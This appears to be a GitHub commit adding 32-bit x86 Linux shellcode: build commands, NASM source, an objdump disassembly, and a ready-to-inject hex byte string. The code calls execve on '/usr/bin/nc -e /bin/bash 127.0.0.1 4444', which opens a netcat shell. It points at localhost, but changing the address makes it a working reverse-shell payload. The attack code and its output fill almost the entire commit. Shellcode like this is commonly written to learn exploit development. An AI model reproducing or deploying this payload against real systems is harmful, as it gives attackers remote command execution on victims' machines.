Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit 3b207ea

Browse files
committed
shellcode_netcat_32
1 parent 63baa5c commit 3b207ea

File tree

4 files changed

+114
-0
lines changed

4 files changed

+114
-0
lines changed

‎32/cmdlines

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
nasm -f elf32 netcat_shellcode.asm -o netcat_shellcode.o
2+
ld -m elf_i386 -s netcat_shellcode.o -o netcat_shellcode.elf
3+
objdump -d netcat_shellcode.elf --disassembler-options=intel > objdump_intel

‎32/netcat_shellcode.asm

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
;Shellcode execve(/usr/bin/nc, [/usr/bin/nc -e /bin/bash 127.0.0.1 4444], NULL)
2+
3+
[SECTION .text]
4+
5+
global _start
6+
7+
_start:
8+
9+
xoreax,eax ; clear EAX
10+
11+
; execve first parameter in EBX : ptr to /usr/bin//nc
12+
13+
pusheax ; NULL byte
14+
push dword '//nc' ; /usr/bin//nc
15+
push dword '/bin'
16+
push dword '/usr'
17+
movebx,esp ; ptr to /usr/bin//nc
18+
19+
; arguments preparation
20+
21+
pusheax ; NULL byte
22+
push word '-e' ; -e
23+
movecx,esp ; ptr to -e
24+
25+
pusheax ; NULL byte
26+
push dword 'bash' ; ////bin/bash
27+
push dword 'bin/'
28+
push dword '////'
29+
movedx,esp ; ptr to ////bin/bash
30+
31+
pusheax ; NULL byte
32+
push dword '.0.1' ; 127.000001
33+
push dword '0000'
34+
push dword '127.'
35+
movedi,esp ; ptr to 127.000001
36+
37+
pusheax ; NULL byte
38+
push0x34343434 ; 4444
39+
movesi,esp ; ptr to 4444
40+
41+
; execve second parameter, list of arguments in ECX
42+
; /usr/bin/nc -e /bin/bash 127.0.0.1 4444
43+
44+
pusheax ; NULL byte
45+
pushesi ; 4444
46+
pushedi ; 127.0.0.1
47+
pushedx ; /bin/bash
48+
pushecx ; -e
49+
pushebx ; /usr/bin/nc
50+
movecx,esp ; ptr to ECX
51+
52+
; execve third parameter, NULL in EDX
53+
54+
xoredx,edx ; clear EDX
55+
56+
; execve syscall
57+
58+
moval,0xb ; execve syscall
59+
int0x80 ; Syscall
60+
61+
; exit syscall
62+
63+
xoreax,eax ; clear EAX
64+
moval,1 ; Syscall 1 exit
65+
xorebx,ebx ; clear EBX
66+
int0x80 ; Syscall

‎32/objdump_intel

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
2+
netcat_shellcode.elf: format de fichier elf32-i386
3+
4+
5+
Déassemblage de la section .text :
6+
7+
08049000 <.text>:
8+
8049000: 31 c0 xor eax,eax
9+
8049002: 50 push eax
10+
8049003: 68 2f 2f 6e 63 push 0x636e2f2f
11+
8049008: 68 2f 62 69 6e push 0x6e69622f
12+
804900d: 68 2f 75 73 72 push 0x7273752f
13+
8049012: 89 e3 mov ebx,esp
14+
8049014: 50 push eax
15+
8049015: 66 68 2d 65 pushw 0x652d
16+
8049019: 89 e1 mov ecx,esp
17+
804901b: 50 push eax
18+
804901c: 68 62 61 73 68 push 0x68736162
19+
8049021: 68 62 69 6e 2f push 0x2f6e6962
20+
8049026: 68 2f 2f 2f 2f push 0x2f2f2f2f
21+
804902b: 89 e2 mov edx,esp
22+
804902d: 50 push eax
23+
804902e: 68 2e 30 2e 31 push 0x312e302e
24+
8049033: 68 30 30 30 30 push 0x30303030
25+
8049038: 68 31 32 37 2e push 0x2e373231
26+
804903d: 89 e7 mov edi,esp
27+
804903f: 50 push eax
28+
8049040: 68 34 34 34 34 push 0x34343434
29+
8049045: 89 e6 mov esi,esp
30+
8049047: 50 push eax
31+
8049048: 56 push esi
32+
8049049: 57 push edi
33+
804904a: 52 push edx
34+
804904b: 51 push ecx
35+
804904c: 53 push ebx
36+
804904d: 89 e1 mov ecx,esp
37+
804904f: 31 d2 xor edx,edx
38+
8049051: b0 0b mov al,0xb
39+
8049053: cd 80 int 0x80
40+
8049055: 31 c0 xor eax,eax
41+
8049057: b0 01 mov al,0x1
42+
8049059: 31 db xor ebx,ebx
43+
804905b: cd 80 int 0x80

‎32/shellcode.hex

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
\x31\xc0\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x66\x68\x2d\x65\x89\xe1\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe2\x50\x68\x2e\x30\x2e\x31\x68\x30\x30\x30\x30\x68\x31\x32\x37\x2e\x89\xe7\x50\x68\x34\x34\x34\x34\x89\xe6\x50\x56\x57\x52\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80
2+

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /